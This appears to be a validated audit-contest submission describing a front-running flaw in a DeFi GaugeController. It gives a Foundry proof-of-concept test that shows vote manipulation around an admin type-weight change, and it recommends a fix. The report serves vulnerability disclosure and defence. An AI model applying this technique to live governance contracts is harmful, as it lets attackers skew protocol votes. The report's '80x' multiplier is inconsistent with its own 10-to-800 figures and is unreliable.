Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Attackers can front-run calls to setTypeWeight to gain extra voting power

Summary

In GaugeController.sol contract there is a vul that allows attackers to front-run setType weight changes to amplify their voting power significantly. It is from the lack of synchronization between type weight updates and vote modifications, allowing attackers to strategically time their voting actions around administrative type weight changes.

My POC demonstrates that an attacker with just 100 voting power units can amplify their effective voting power by 80x (from 10 to 800) by front-running a type weight change from 10% to 80%. This manipulation severely undermines the democratic governance process and allows attackers to gain disproportionate influence over the protocol with minimal capital commitment.

Under normal conditions, changes to type weights should affect all voters equally, maintaining proportional representation. However, this vulnerability allows attackers to game the system by temporarily withdrawing their votes before a type weight increase and re-applying them afterward, gaining significantly more voting power than intended.

Vulnerability Details

The vulnerability exists in the interaction between several key functions in GaugeController.sol:

function vote(address gauge, uint256 weight) external {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > getVotingPower(msg.sender)) revert InsufficientVotingPower();
//audit_ issue: lacks validation of vote-delay
userGaugeVotes[msg.sender][gauge] = weight;
// ... weight updates ...
}

Type Weight Setting: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/GaugeController.sol#L342

function setTypeWeight(GaugeType gaugeType, uint256 weight) external {
if (!hasRole(GAUGE_ADMIN, msg.sender)) revert UnauthorizedCaller();
if (weight > MAX_TYPE_WEIGHT) revert InvalidWeight();
typeWeights[gaugeType] = weight;
emit TypeWeightUpdated(gaugeType, weight);
}

Weight Calculation: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/GaugeController.sol#L468

function getGaugeWeight(address gauge) public view returns (uint256) {
return gauges[gauge].weight;
}

Proof of code: Add this code to a testfile and run it

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../../../../../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
import "../../../../../contracts/interfaces/core/governance/gauges/IGauge.sol";
import "../../../../../contracts/core/governance/gauges/GaugeController.sol";
import "../../../../../contracts/libraries/math/TimeWeightedAverage.sol";
import "../../../../../contracts/libraries/governance/BoostCalculator.sol";
import "forge-std/Test.sol";
contract GaugeControllerTest is Test {
using TimeWeightedAverage for TimeWeightedAverage.Period;
using BoostCalculator for BoostCalculator.BoostState;
GaugeController public controller;
address public veToken;
address public gauge;
address public attacker;
address public admin;
function setUp() public {
veToken = makeAddr("veToken");
controller = new GaugeController(veToken);
admin = address(this);
attacker = makeAddr("attacker");
gauge = makeAddr("gauge");
// Mock veToken balance calls
vm.mockCall(
veToken,
abi.encodeWithSelector(IERC20.balanceOf.selector, attacker),
abi.encode(100 * 1e18)
);
vm.mockCall(
veToken,
abi.encodeWithSelector(IERC20.totalSupply.selector),
abi.encode(1000 * 1e18)
);
// Admin adds new gauge with initial weight
controller.addGauge(gauge, IGaugeController.GaugeType.RWA, 1000);
}
function testFrontRunningAttack() public {
// Initial setup - attacker has 100 voting power
uint256 ATTACKER_VOTING_POWER = 100;
vm.mockCall(
veToken,
abi.encodeWithSelector(IERC20.balanceOf.selector, attacker),
abi.encode(ATTACKER_VOTING_POWER)
);
// Start with low type weight
controller.setTypeWeight(IGaugeController.GaugeType.RWA, 1000); // 10%
// Initial state - attacker votes with their full power
vm.startPrank(attacker);
controller.vote(gauge, ATTACKER_VOTING_POWER);
vm.stopPrank();
console.log("\nInitial state:");
console.log("Initial type weight:", controller.getTypeWeight(IGaugeController.GaugeType.RWA));
console.log("Initial gauge weight:", controller.getGaugeWeight(gauge));
console.log("Initial effective power:", controller.getGaugeWeight(gauge) * controller.getTypeWeight(IGaugeController.GaugeType.RWA) / controller.MAX_TYPE_WEIGHT());
// Step 1: Attacker front-runs by removing their vote
vm.startPrank(attacker);
controller.vote(gauge, 0);
vm.stopPrank();
// Step 2: Admin increases type weight significantly
vm.startPrank(admin);
controller.setTypeWeight(IGaugeController.GaugeType.RWA, 8000); // 80%
vm.stopPrank();
// Step 3: Attacker back-runs by voting again
vm.startPrank(attacker);
controller.vote(gauge, ATTACKER_VOTING_POWER);
vm.stopPrank();
uint256 finalEffectivePower = controller.getGaugeWeight(gauge) * controller.getTypeWeight(IGaugeController.GaugeType.RWA) / controller.MAX_TYPE_WEIGHT();
uint256 initialEffectivePower = ATTACKER_VOTING_POWER * 1000 / controller.MAX_TYPE_WEIGHT(); // Initial power with 10% type weight
console.log("\nAttack Results:");
console.log("Initial effective power:", initialEffectivePower);
console.log("Final effective power:", finalEffectivePower);
console.log("Power multiplier gained:", finalEffectivePower / initialEffectivePower);
assertTrue(
finalEffectivePower > initialEffectivePower * 2,
"Attack failed - voting power not significantly increased"
);
}
}

Attack flow:

Attacker has 100 voting power units
Initial type weight is set to 1000 (10%) for RWA gauge type
Attacker initially votes with full power
Attacker monitors mempool for type weight changes
Removes vote completely
Admin increases type weight significantly
80%
Attacker quickly re-applies vote after weight change
Re-votes with same power
Attack Results:
Initial effective power: 10 (100 * 10%)
Final effective power: 800 (100 * 80%)
Power multiplier gained: 80x

Impact

Governance Manipulation:

  • Attackers can gain disproportionate voting power

Tools Used

Recommendations

GuageController has a VOTE DELAY but never uses it.

Add this as it would hinder a user from voting and unvoting immediately

mapping(address => uint256) public lastVoteTime;
/// @notice Required delay between votes
uint256 public constant VOTE_DELAY = 10 days;
/// @notice Minimum allowed vote delay
-----------------------------------------------------
//never used
* @dev Updates gauge weights based on user's veToken balance
* @param gauge Address of gauge to vote for
* @param weight New weight value in basis points (0-10000)
*/
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote never enforces VOTE_DELAY or updates lastVoteTime, allowing users to spam votes and manipulate gauge weights without waiting

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote never enforces VOTE_DELAY or updates lastVoteTime, allowing users to spam votes and manipulate gauge weights without waiting

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!